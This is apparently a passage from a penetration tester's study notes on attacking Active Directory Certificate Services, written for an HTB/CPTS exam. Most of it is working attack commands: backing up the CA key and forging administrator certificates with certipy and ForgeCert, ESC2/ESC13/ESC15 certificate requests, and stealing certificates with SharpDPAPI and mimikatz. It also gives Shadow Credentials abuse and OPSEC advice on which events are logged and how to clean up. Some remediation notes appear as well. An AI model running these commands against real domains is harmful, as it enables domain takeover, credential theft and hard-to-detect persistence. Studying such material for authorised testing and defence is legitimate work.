certipy-ad ca -backup -ca 'CA-NAME' -u "administrator@$DOMAIN" -hashes :$ADMIN_NT -dc-ip $IP -target $IP
# -> CA-NAME.pfx (guard this — it IS the domain, offline)
# 2. Forge a cert for ANY principal, no CA contact, no logs, custom validity
certipy-ad forge -ca-pfx 'CA-NAME.pfx' -upn "administrator@$DOMAIN" \
-subject "CN=Administrator,CN=Users,$BASEDN" -out administrator_forged.pfx
# add -validity-period 3650 for a 10-year cert; BASEDN e.g. "DC=corp,DC=example,DC=local"
# 3. Authenticate with the forged cert -> TGT + hash (auth tail)
certipy-ad auth -pfx administrator_forged.pfx -username administrator -domain $DOMAIN -dc-ip $IP
Windows equivalent: ForgeCert — ForgeCert.exe --CaCertPath CA-NAME.pfx --Subject "CN=x" --SubjectAltName administrator@$DOMAIN --NewCertPath forged.pfx … then Rubeus asktgt /getcredentials.
[!note] Why it’s nasty
forgeis 100% offline — zero CA logs, no request ID, serial number that never existed in the CA DB. Only the initialbackup(Event ID 70 / DPAPI access on the CA) is noisy. HSM-backed keys defeat it. See also DPERSIST2 — Rogue CA Certificate (NTAuth Injection) and DPERSIST3 — Malicious Misconfiguration (ACL Backdoor).
[!shield] Remediation Protect CA keys with an HSM, tier CA admins like DAs, alert on CA key export (certsvc backup, DPAPI masterkey access), and periodically audit
NTAuthCertificatesfor rogue CAs.
Quick hits — ESC2 / ESC13 / ESC15
# ESC2 (Any Purpose / No EKU) — the cert authenticates for anything; inject UPN like ESC1
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# ESC13 (OID→group link) — enroll a linked template; KDC drops the group's SID into your PAC on auth
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate'
certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP
# ESC15 / EKUwu (CVE-2024-49019) — inject Client Auth policy into a schema-v1 template CSR
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
-upn "administrator@$DOMAIN" -application-policies 'Client Authentication'
Certificate theft — DPAPI-locked certs on disk (THEFT1–THEFT5)
What to look for → any Windows foothold with users/machines that hold certs in the Windows cert store (cert:\CurrentUser\My, cert:\LocalMachine\My) or as .pfx files in shares/profiles. Stolen certs = authentication material that survives password resets until expiry/revocation.
# SharpDPAPI (staged above) — unwrap user certs via DPAPI masterkeys
.\SharpDPAPI.exe certificates # current-user context
.\SharpDPAPI.exe certificates /machine # machine store (needs admin)
.\SharpDPAPI.exe certificates /pvk:masterkey.pvk # with a looted domain DPAPI backup key
# -> prints PEM (cert + private key)
# mimikatz equivalent (cross-ref Stage 10 loot flows)
crypto::certificates /export # current-user store -> .pfx
crypto::certificates /systemstore:local_machine /store:my /export # machine store
dpapi::masterkey /in:"C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid>" /rpc # fetch masterkey from DC
Format juggling — Certify/SharpDPAPI/mimikatz hand you PEM or PFX; convert as needed:
| Have → want | Command |
|---|---|
| PEM (cert+key) → PFX | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
| PFX → PEM pair | openssl pkcs12 -in cert.pfx -out cert.pem -nodes |
| PFX → cert only | openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt |
| PFX → key only | openssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key |
| inspect | openssl pkcs12 -in cert.pfx -info -noout · openssl x509 -in cert.crt -text -noout |
[!tip] THEFT cheat sheet THEFT1 = export cert+key via CryptoAPI (
mimikatz crypto::certificates /export) · THEFT2 = user certs via DPAPI (SharpDPAPIcertificates) · THEFT3 = machine certs via DPAPI (/machine) · THEFT4 = find.pfxin shares (Snaffler) · THEFT5 = use PKINIT to UnPAC the hash off a cert (the universal tail above). Full write-ups: _ADCS Attack Methodology Guide.
PKINIT vs Schannel — and the 2016/2022 mapping gotchas
PKINIT (certipy auth, Rubeus asktgt) | Schannel (certipy auth -ldap-shell, nxc --pfx-cert) | |
|---|---|---|
| What you get | TGT + NT hash (UnPAC) | LDAPS session / LDAP shell as the identity |
| Requires | DC doing PKINIT (2016+ with ADCS; KDC certs healthy) | DC with LDAPS; cert maps via CertificateMappingMethods |
| Mapping logic | SID extension → UPN fallback (KB5014754 enforcement applies) | Explicit altSecurityIdentities first, then weak methods per registry |
| Fails when | Clock skew, no ADCS trust on DC, enforcement=2 + no SID | LDAPS not exposed, strong-mapping-only config |
| Choose when | You want a reusable TGT/hash (almost always) | PKINIT blocked or you only need LDAP writes (e.g. finish an ESC4 from LDAP shell) |
[!warning] DC OS gotchas
- Server 2016/2019 DCs often run with
StrongCertificateBindingEnforcementabsent (=0, off) or in compatibility (=1) — weak UPN mapping works and ESC6/9/16 chains land.- Server 2022+ / fully patched estates trending to enforcement=2 reject any cert without the SID extension or a strong explicit mapping — classic ESC1/ESC6 certs stop authenticating; pivot to ESC16 (if the CA disabled the extension), Certifried (pre-patch), or theft/persistence paths.
CertificateMappingMethods = 0x1F(default) keeps weak Schannel methods on even when PKINIT enforces — pass-the-cert via LDAPS may still work whenauthfails.- Always check both registries (Kdc + Schannel) before declaring a mapping attack dead — they’re independent switches.
[!tip] Shadow Credentials — the ACL-only bypass If I hold
GenericWrite/GenericAllover a target but ADCS templates are locked down, skip certs entirely: plant a Key Credential and PKINIT as them.certipy-ad shadow auto -u "$U@$DOMAIN" -p "$P" -account 'target' -dc-ip $IP -dc-host $DC -ns $IP. Full write-up: Shadow Credentials — msDS-KeyCredentialLink Abuse and Stage 06.
🛡️ OPSEC — what’s logged, what to clean
| Action | Telemetry | Cleanup |
|---|---|---|
| Cert request issued | CA events 4886 (request received) / 4887 (issued), request IDs in CA DB | Revoke: certutil -config "CA" -revoke <serial> 5; delete row via certsrv.msc if you have CA admin |
| Denied request (ESC7 dance) | 4888 denied + your -issue-request approval | Deny/remove the request; remove officer + disable template |
| Template modified (ESC4) | 4899/4900 template change | Restore from saved JSON immediately |
| UPN swap (ESC9/16) | 4738 user changed (twice) | Keep window tight; restore exact original value |
| Relay/coercion (ESC8/11) | SMB 4624/4627 from coerced host, network NTLM to CA | Nothing to clean on CA; expect IR questions |
| Machine account created (Certifried) | 4741 computer created | Delete EVILPC$ |
| CA backup (DPERSIST1) | certsvc backup events, DPAPI masterkey access (4662/4663 on CA) | The stolen CA key is forever — disclose in report |
| Cert theft (THEFT) | DPAPI blob access, EDR on LSASS-adjacent tooling | Nothing persistent; delete exported files |
[!warning] Golden rules
- Every issued cert is valid until expiry — deleting the request row doesn’t kill the cert; revoke by serial number.
- Certificate authentication bypasses password policy, smart-card-only flags are rare, and a stolen/forged cert survives password resets — treat every issued admin cert as a standing credential for the report.
- Prefer
-stdouttriage and targetedreqover mass enrollment; each 4887 is a breadcrumb.- Time-sync before PKINIT; nothing screams “attacker” like a burst of
KRB_AP_ERR_SKEWfailures.
🎯 MITRE ATT&CK mapping
| Technique | ID | Where used here |
|---|---|---|
| Steal or Forge Authentication Certificates | T1649 | ESC1–ESC16 issuance abuse |
| Unsecured Credentials: Private Keys | T1552.004 | THEFT1–4, CA key theft |
| Create Account: Computer Account | T1136.001 | Certifried / RBCD machine accounts |
| Account Manipulation | T1098 | UPN/dNSHostName swaps, altSecurityIdentities |
| Pass the Ticket | T1550.003 | Spending .ccache after auth |
| Use Alternate Authentication Material: Pass the Hash | T1550.002 | NT hash from UnPAC |
| Adversary-in-the-Middle: NTLM Relay | T1557.001 | ESC8/ESC11 relays |
| Valid Accounts | T1078 | Authenticating as victim via cert |
[!tip] CPTS exam tips
- Triage order:
certipy find -vulnerable -stdout→ if clean,-enabledand read template flags by hand (ESC9/13/15/16 hide there) → registry checks (enforcement + CertificateMappingMethods) → patch level.- Fluffy-style chains dominate: Stage-06 ACL edge (GenericWrite) → shadow creds or UPN-swap (ESC16) → admin cert → DCSync. ADCS questions usually start one stage earlier.
certipy reqNetBIOS timeout? Re-run.KRB_AP_ERR_SKEW?faketime.no object SID? Only fatal at enforcement=2.- Keep the CA name EXACT (
CA-NAMEnotCA-NAME.domain.local) in-caflags — copy it fromfindoutput.- Cross-links: Stage 06 — ACL Abuse (the GenericWrite edges that feed ESC9/16/shadow creds) · Stage 03 (coercion primitives for ESC8/11) · Stage 05 — Kerberos (PKINIT/UnPAC internals) · Stage 08 (when the answer is a hash, not a cert) · Stage 10 (spending the DA hash).
[!navigation] Continue the attack flow Previous: Stage 06 — ACL and Object Abuse
Dashboard: HTB Pentest Attack Flow